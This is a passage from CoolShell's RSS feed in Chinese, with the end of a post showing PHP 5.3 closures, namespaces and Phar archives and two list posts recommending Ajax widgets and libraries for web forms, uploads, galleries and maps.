$class-&amp;gt;getMethod(&quot;currentValue&quot;);\n$closure = $method-&amp;gt;getClosure()\n$closure();\n$class-&amp;gt;increment();\n$closure();</pre>\n<p><strong>Output</strong>:<br />\n0<br />\n1<br />\n示例五，Reflection API</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$closure = function ($x, $y = 1) {};\n$m = new ReflectionMethod($closure);\nReflection::export ($m);\n&lt;strong&gt;Output&lt;/strong&gt;:\nMethod [  public method __invoke ] {\n  - Parameters [2] {\n    Parameter #0 [  $x ]\n    Parameter #1 [  $y ]\n  }\n}</pre>\n<p>示例六，Uses Case</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$logdb = function ($string) { Logger::log(&quot;debug&quot;,&quot;database&quot;,$string);};\n$db = mysqli_connect(&quot;server&quot;,&quot;user&quot;,&quot;pass&quot;);\n$logdb(&quot;Connected to database&quot;);\n$db-&amp;gt;query(&quot;insert into parts (part, description) values\n (&quot;Hammer&quot;,&quot;Pounds nails&quot;);\n$logdb(&quot;Insert Hammer into to parts table&quot;);\n$db-&amp;gt;query(&quot;insert into parts (part, description) values\n       (&quot;Drill&quot;,&quot;Puts holes in wood&quot;);\n$logdb(&quot;Insert Drill into to parts table&quot;);\n$db-&amp;gt;query(&quot;insert into parts (part, description) values\n (&quot;Saw&quot;,&quot;Cuts wood&quot;);\n$logdb(&quot;Insert Saw into to parts table&quot;);</pre>\n<p>更为详细的文章，请参考这里，<a href=\"http://www.ibm.com/developerworks/opensource/library/os-php-5.3new2/index.html\" target=\"_blank\">链接</a>。</p>\n<p><strong><span class=\"atitle\">5) </span><span class=\"atitle\">使用namespace</span></strong></p>\n<p><span class=\"atitle\">新版的PHP会开始支持C++式的namespace，请参看示例：</span></p>\n<p><span class=\"atitle\">示例一</span></p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">/* Foo.php */\n&amp;lt;?php\nnamespace Foo;\nfunction bar()\n{\n    echo &quot;calling bar....&quot;;\n}\n?&amp;gt; \n\n/* File1.php */\n&amp;lt;?php\ninclude &quot;./Foo.php&quot;;\nFoo/bar(); // outputs &quot;calling bar....&quot;;\n?&amp;gt; \n\n/* File2.php */\n&amp;lt;?php\ninclude &quot;./Foo.php&quot;;\nuse Foo as ns;\nns/bar(); // outputs &quot;calling bar....&quot;;\n?&amp;gt; \n\n/* File3.php */\n&amp;lt;?php\ninclude &quot;./Foo.php&quot;;\nuse Foo;\nbar(); // outputs &quot;calling bar....&quot;;\n?&amp;gt;\n&lt;!--p include &quot;./Foo.php&quot;; use Foo; bar(); // outputs &quot;calling bar....&quot;;--&gt;</pre>\n<p>示例二，多重namespace</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">&lt;!--p namespace Foo; class Test {}  namespace Bar; class Test {}  $a = new Foo\\\\Test; $b = new Bar\\\\Test;  var_dump($a, $b);--&gt; &amp;lt;?php\nnamespace Foo;\nclass Test {} \n\nnamespace Bar;\nclass Test {} \n\n$a = new Foo\\\\Test;\n$b = new Bar\\\\Test; \n\nvar_dump($a, $b); \n\nOutput:\nobject(Foo\\\\Test)#1 (0) {\n}\nobject(Bar\\\\Test)#2 (0) {\n}\n&lt;strong&gt;Output:&lt;/strong&gt;\nobject(Foo\\\\Test)#1 (0) { }\nobject(Bar\\\\Test)#2 (0) { }</pre>\n<p>示例三，不同文件中的namespace</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">/*定义*/\n/* global.php */\n&amp;lt;?php\nfunction hello()\n{\n    echo &quot;hello from the global scope!&quot;;\n}\n?&amp;gt; \n\n/* Foo.php */\n&amp;lt;?php\nnamespace Foo;\nfunction hello()\n{\n    echo &quot;hello from the Foo namespace!&quot;;\n}\n?&amp;gt; \n\n/* Foo_Bar.php */\n&amp;lt;?php\nnamespace Foo/Bar;\nfunction hello()\n{\n    echo &quot;hello from the Foo/Bar namespace!&quot;;\n}\n?&amp;gt;\n&lt;!--p namespace Foo/Bar; function hello() {     echo &quot;hello from the Foo/Bar namespace!&quot;; }--&gt;\n\n/*使用 */\n&lt;!--p include &quot;./global.php&quot;; include &quot;./Foo.php&quot;; include &quot;./Foo_Bar.php&quot;; use Foo;  hello();         // outputs &quot;hello from the Foo namespace!&quot; Bar\\\\hello();   // outputs &quot;hello from the Foo/Bar namespace!&quot; \\\\hello();       // outputs &quot;hello from the global scope!&quot;--&gt;&amp;lt;?php\ninclude &quot;./global.php&quot;;\ninclude &quot;./Foo.php&quot;;\ninclude &quot;./Foo_Bar.php&quot;;\n\nuse Foo; \n\nhello();         // outputs &quot;hello from the Foo namespace!&quot;\nBar\\\\hello();   // outputs &quot;hello from the Foo/Bar namespace!&quot;\n\\\\hello();       // outputs &quot;hello from the global scope!&quot;\n?&amp;gt;</pre>\n<p>更为详细的文章，请参考这里，<a href=\"http://www.ibm.com/developerworks/opensource/library/os-php-5.3new3/index.html\" target=\"_blank\">链接</a>。</p>\n<p><strong>6)开始支持Achieve包</strong></p>\n<p>正像JAR一样，PHP也要开始支持自己的Achieve包了，叫作，Phar。PHP提供了一整套函数来帮助开发人员创建和使用Phar，正如下面的示例所示：</p>\n<p style=\"padding-left: 30px;\"><strong>创建</strong>：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$p = new Phar(&quot;/path/to/my.phar&quot;,\n CURRENT_AS_FILEINFO | KEY_AS_FILENAME, &quot;my.phar&quot;);\n$p-&amp;gt;startBuffering();</pre>\n<p style=\"padding-left: 30px;\"><strong>创建文件存根</strong>（stub）</p>\n<p><code data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$p-&amp;gt;setStub(&quot;&lt;!--p Phar::mapPhar();  include &quot;phar://myphar.phar/index.php&quot;; __HALT_COMPILER();--&gt;&quot;);</code></p>\n<p style=\"padding-left: 30px;\"><strong>加入文件</strong>：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$p[&quot;file.txt&quot;] = &quot;This is a text file&quot;;\n$p[&quot;index.php&quot;] = file_get_contents(&quot;index.php&quot;);\n$p[&quot;big.txt&quot;] = &quot;This is a big text file&quot;;\n$p[&quot;big.txt&quot;]-&amp;gt;setCompressedBZIP2();\n//加入某目录下所有的文件\n$p-&amp;gt;buildFromDirectory(&quot;/path/to/files&quot;,&quot;./\\\\.php$/&quot;);</pre>\n<p style=\"padding-left: 30px;\"><strong>使用Phar</strong></p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">include &quot;myphar.phar&quot;;\ninclude &quot;phar://myphar.phar/file.php&quot;;</pre>\n<p>更为详细的文章，请参考这里，<a href=\"http://www.ibm.com/developerworks/opensource/library/os-php-5.3new4/index.html\" target=\"_blank\">链接</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"九个PHP很有用的功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_title\">九个PHP很有用的功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11.html\">PHP v5.3的新鲜玩意</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你应该知道的20个Ajax技术(11-20)</title>\n\t\t<link>https://coolshell.cn/articles/9.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:36:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>11) 表单字段帮助信息的自动提示 增强WEB表单的Usability有很多很多的方法，在网上一搜一大片，然后有些时候，用户会被表单搞得很混乱，而且，不同的用户...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9.html\">你应该知道的20个Ajax技术(11-20)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>11) 表单字段帮助信息的自动提示</strong></p>\n<p>增强WEB表单的Usability有很多很多的方法，在网上一搜一大片，然后有些时候，用户会被表单搞得很混乱，而且，不同的用户会对表单有不同的理解，其输入也是千奇百怪。所以，为表单字段增加一下自动帮助信息的提示绝对是非常不错的选择。这点在淘宝网上表现得比较出现。下面是一个非常简单短小的教程。</p>\n<p><a href=\"http://woork.blogspot.com/2008/04/improve-form-usability-with-auto.html\" target=\"_blank\">http://woork.blogspot.com/2008/04/improve-form-usability-with-auto.html</a></p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/10.png\" alt=\"\" /></p>\n<p> <span id=\"more-9\"></span></p>\n<p><strong>12) qGallery (</strong><a href=\"http://qgallery.quadrifolia.de/\" target=\"_blank\"><strong>演示</strong></a><strong>)</strong></p>\n<p>虽然这不是一个有丰富功能的图库应用，但这绝对是一个非常优秀的Ajax应用。它基于Prototype Javascript框架（<a href=\"http://prototypejs.org/\" target=\"_blank\">http://prototypejs.org/</a>）制作，它对图片集的处理是非常优秀的。而且是它在节省网络带宽方面也很出色。本文写作之时，他目前还在开发阶段，还没有开放给大家下载。不过再等几个星期也就差不多该Release了。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/11.jpg\" alt=\"\" /></p>\n<p> </p>\n<p><strong>13）Ajax 星式打分（</strong><a href=\"http://www.masugadesign.com/download.php?ajaxstarrater_v122.zip\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.masugadesign.com/the-lab/scripts/unobtrusive-ajax-star-rating-bar/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>人们总是想给他们身连的事物表达他们的喜恶，所以有一个星式打分控件绝对能满足他们的欲望。一个非常简单的Ajax脚本可以从下面的链接找到：<a href=\"http://www.masugadesign.com/the-lab/scripts/unobtrusive-ajax-star-rating-bar/\" target=\"_blank\">http://www.masugadesign.com/the-lab/scripts/unobtrusive-ajax-star-rating-bar/</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/12.jpg\" alt=\"\" width=\"505\" height=\"224\" /></p>\n<p> </p>\n<p><strong>14）CakePHP Ajax表单</strong></p>\n<p>如果你是 <a href=\"http://nettuts.com/web-roundups/10-insanely-useful-django-tips/\" target=\"_blank\"><span style=\"color: #468175;\">Django</span></a> 或 <a href=\"http://www.cakephp.org/\" target=\"_blank\"><span style=\"color: #468175;\">CakePHP</span></a>的使用者，那么你应该要感谢CakeBaker 的这个教程——《how to <a href=\"http://cakebaker.42dh.com/2006/01/18/submit-a-form-with-ajax/\" target=\"_blank\"><span style=\"color: #468175;\">submit a form with Ajax</span></a>》，而它最强大的功能在于，如果我们的浏览器disable了Javascript，表单照样能够正常提交。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/13.jpg\" alt=\"\" /></p>\n<p> </p>\n<p><strong>15）Amberjack 站点导航（</strong><a href=\"http://amberjack.org/src/stable/\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://amberjack.org/?tourId=AJTour\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>在Web开发，<a href=\"http://www.amberjack.org/\" target=\"_blank\"><span style=\"color: #468175;\">Amberjack</span></a>绝对令人过目难忘的Javascript库，它能够帮助你快速地创建站点导航。Amberjack 最优秀的地方是，这个javascript库只有4K大小，但却有令人难以置信的简易。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/14.jpg\" alt=\"\\' /&gt;&lt;/div&gt;  &lt;div class=\" /> </p>\n<p> </p>\n<p><strong> 16）Prototype UI（</strong><a href=\"http://www.prototype-ui.com/download\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.prototype-ui.com/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>Prototype UI基于<a href=\"http://www.prototypejs.org/\" target=\"_blank\"><span style=\"color: #468175;\">Prototype</span></a> 和<a href=\"http://script.aculo.us/\" target=\"_blank\"><span style=\"color: #468175;\">Scriptaculous</span></a>开发而成，它主要提供一堆图形界面的控件，本质上来说，他是一个用户接口类库，这个类库目前还持续增加中。而且所有的控件都可以很方便地定制。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/15.jpg\" alt=\"\" /></p>\n<p> </p>\n<p><strong>17）JCrop （</strong><a href=\"http://deepliquid.com/content/Jcrop_Download.html\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://deepliquid.com/content/Jcrop_Examples.html\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>在线的图片编辑显然是一个很棘手的事，那怕你使用photoshop，你也会觉得很难使用。当然，对于更多人，我们并不需要使用太多太复杂的图片编辑功能，如果有你上传图片的时候有这么一个功能可以让你剪裁你的图片，那么将会是一件很方便的事情。JCrop是一个<a href=\"http://www.jquery.com/\" target=\"_blank\"><span style=\"color: #468175;\">jQuery</span></a> 的插件，它允许你上传图片，并提供了非常多丰富的图片剪裁功能。很有前途。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/16.jpg\" alt=\"\" /></p>\n<p> </p>\n<p><strong>18）JQuery Auto-tabbing 插件（</strong><a href=\"http://www.lousyllama.com/sites/www.lousyllama.com/files/jquery.autotab-1.1b.js.txt\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.lousyllama.com/sandbox/jquery-autotab\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>我们知道，在我们输入WEB表单的时候，当我们输入完一个字段的时候，我们需要按Tab键或是用鼠标去点击下一个输入域，所以，如果有一个好的插件可以让光标自动跳到下一个输入域，这会是一个非常不错的用户体验。这个JQuery的插件可以做到这件事。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/17.png\" alt=\"\" /></p>\n<p> </p>\n<p><strong>19) 表格排序Ajax（</strong><a href=\"http://www.box.net/shared/53al1imrk4\" target=\"_blank\"><strong>源码</strong></a><strong>）</strong></p>\n<p>单击表格头标题可以根据该列对整个表格排序，是一个非常不错的功能。这里有一个非常不错的<a href=\"http://woork.blogspot.com/2008/02/sort-table-rows-using-ajax.html\" target=\"_blank\">教程</a>教你如何做到这个事，其最终的Javascript是<a href=\"http://www.kryogenix.org/code/browser/sorttable/\" target=\"_blank\"><span style=\"color: #468175;\">sortable.js</span></a>。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/19.png\" alt=\"\" /></p>\n<p> </p>\n<p>20)  DrasticMap (<a href=\"http://www.drasticdata.nl/DDDownloads.php\" target=\"_blank\">源码</a>，<a href=\"http://www.drasticdata.nl/DDExamples.php\" target=\"_blank\">演示</a>)</p>\n<p><a href=\"http://maps.google.com/\" target=\"_blank\"><span style=\"color: #468175;\">Google Maps</span></a>大家都很熟悉了，DrasticMap 可能让你后台的PHP和Mysql数据库同Google Map链动起来，它可以方便地把存储在数据库里的经纬库坐标展示在Google Map上。而且，它相当的灵活，它似乎可以被无限度</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/20.jpg\" alt=\"\" /></p>\n<p>文章来源：<a href=\"http://nettuts.com/web-roundups/20-excellent-ajax-effects-you-should-know/\" target=\"_blank\">链接</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Web版的VNC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_title\">Web版的VNC</a></li><li ><a href=\"https://coolshell.cn/articles/1611.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard2-150x150.jpg\" alt=\"Ajax开发利器UIzard \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1611.html\" class=\"wp_rp_title\">Ajax开发利器UIzard </a></li><li ><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"7个免费强大的Ajax文件管理器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_title\">7个免费强大的Ajax文件管理器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9.html\">你应该知道的20个Ajax技术(11-20)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你应该知道的20个Ajax技术(01-10)</title>\n\t\t<link>https://coolshell.cn/articles/7.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:34:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>1) TextboxList自动完成 （源码，演示） 这个控件主要来自Facebook吧，在网易的邮件里也能看到，还有hotmail等等，在文本框里输入文本不但...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7.html\">你应该知道的20个Ajax技术(01-10)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>1) TextboxList自动完成 （</strong><a href=\"http://devthought.com/textboxlist-meets-autocompletion/\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://devthought.com/wp-content/articles/autocompletelist/test.html\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>这个控件主要来自Facebook吧，在网易的邮件里也能看到，还有hotmail等等，在文本框里输入文本不但可以出现相关数据的列表，而且选中后的字符串还会变成一个小图标。这个控件主要用在电子邮件中吧。<br />\n<img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/1.png\" alt=\"\" /></p>\n<p><span id=\"more-7\"></span></p>\n<p><strong>2) Ajax IM即时聊天 （</strong><a href=\"http://www.ajaxim.com/\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.ajaxim.net/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>Ajax IM是一个很牛的即时聊天的客户端，你可以使用它制作一个Web-Based的即时聊天工具，这是一个非常强大的Ajax技术。</p>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/2.jpg\" border=\"0\" alt=\"\" width=\"472\" height=\"233\" /></p>\n<p><strong>3）即时校验用户的输入（</strong><a href=\"http://www.livevalidation.com/download\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.livevalidation.com/examples\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>以前，检验WEB表单的输入需要放在后台，因此，用户需要提交表单数据到后台才能知道是否所填写的内容有误。Ajax把实时检测表单输入域变成了现实，如今，我们在网上已经能看到很多很多的这样的应用，比如在你注册一个用户输入一个用户名的时候，不用提交整个表单到后台，你就能知道用户名是否已被人使用。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/3.png\" alt=\"\" /></p>\n<p><strong>4）即时编辑器（</strong><a href=\"http://www.ideasfreelance.com/lab/instant_edit/remote_cont.js\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.ideasfreelance.com/lab/instant_edit/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>所谓即时编辑器就是双击一下网页上的文本，于是你就要吧编辑它了，编辑完后再单击一下别的地方，编辑过的内容就会被提交到后台保存。在这里，给出的示例是一个非常小巧的即时编辑器—— <a href=\"http://www.ideasfreelance.com/lab/instant_edit/\" target=\"_blank\"><span style=\"color: #468175;\">inline editor</span></a></p>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/4.png\" alt=\"\" width=\"511\" height=\"193\" /></p>\n<p><strong>5）Ajax 式文件上传</strong></p>\n<p>使用Ajax上传文件会让用户得到非常好的用户体验，上网随例搜索一下，有太多太多的各式各样的文件上传的Ajax源码可以使用。然而，在coderproject网站有，你可以下载到一款非常小又非常好的Ajax程序，网址如下：<a href=\"http://www.codeproject.com/KB/aspnet/AJAXUpload.aspx\" target=\"_blank\">http://www.codeproject.com/KB/aspnet/AJAXUpload.aspx</a>。</p>\n<p>当然，如果你要一次上传多个文件，那个这个小程序还不足以满足你。不过，你可以使用JQuery的<a href=\"http://plugins.jquery.com/project/jquploader\" target=\"_blank\">JQUploader</a>。</p>\n<p><strong>6）Fancy Upload （</strong><a href=\"http://digitarald.de/project/fancyupload/\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://digitarald.de/project/fancyupload/2-0/showcase/photoqueue/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>更为迷人的文件上传程序，你可以试试Fancy Upload，它通非常优秀的Javascript框架MooTools(<a href=\"http://mootools.net/\" target=\"_blank\">http://mootools.net/</a>)构造。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/6.png\" alt=\"\" /></p>\n<p><strong> 7）点击记录ClickHeat （</strong><a href=\"http://sourceforge.net/project/showfiles.php?group_id=181196\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.labsmedia.com/clickheat/index.html#\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>ClickHeat是一个非常简单而非常强大的Ajax技术，它可以记录下访问者们对你网站的点击坐标，以便于你分析你网站的访问者的习惯和他们的关注点。</p>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/7.jpg\" alt=\"\" width=\"448\" height=\"268\" /></p>\n<p><strong>8）Ajax电子邮件表单 （</strong><a href=\"http://ninjadesigns.co.uk/enter/mailist.zip\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://ninjadesigns.co.uk/demo/mailist/index.php\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>这里主要推荐一款叫Maillist的Ajax程序，这是用来校验并提交电子邮件的地址的（不需要刷新页面），这样的设计极大地方便了用户的使用邮件订阅某些更新。我们想想看，这样的用户体现绝对会让你网站的用户特别愿意提交他们的电子邮件。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/8.png\" alt=\"\" /></p>\n<p><strong>9) Ajax目录管理器 （</strong><a href=\"http://ecosmear.com/relay/download.php\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://ecosmear.com/relay/demo/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p> 使用Ajax做一个在线的WEB的目录浏览器是非常酷的事情，如果没有Ajax，这样的用户体验除上让用户装一个ActiveX控件，我们几乎无法在Web上实现。在这里，我们推荐Relay这个框架，它基本上有这样一些功能，a)支持文件拖拉，b)动态地载入文件目录列表， 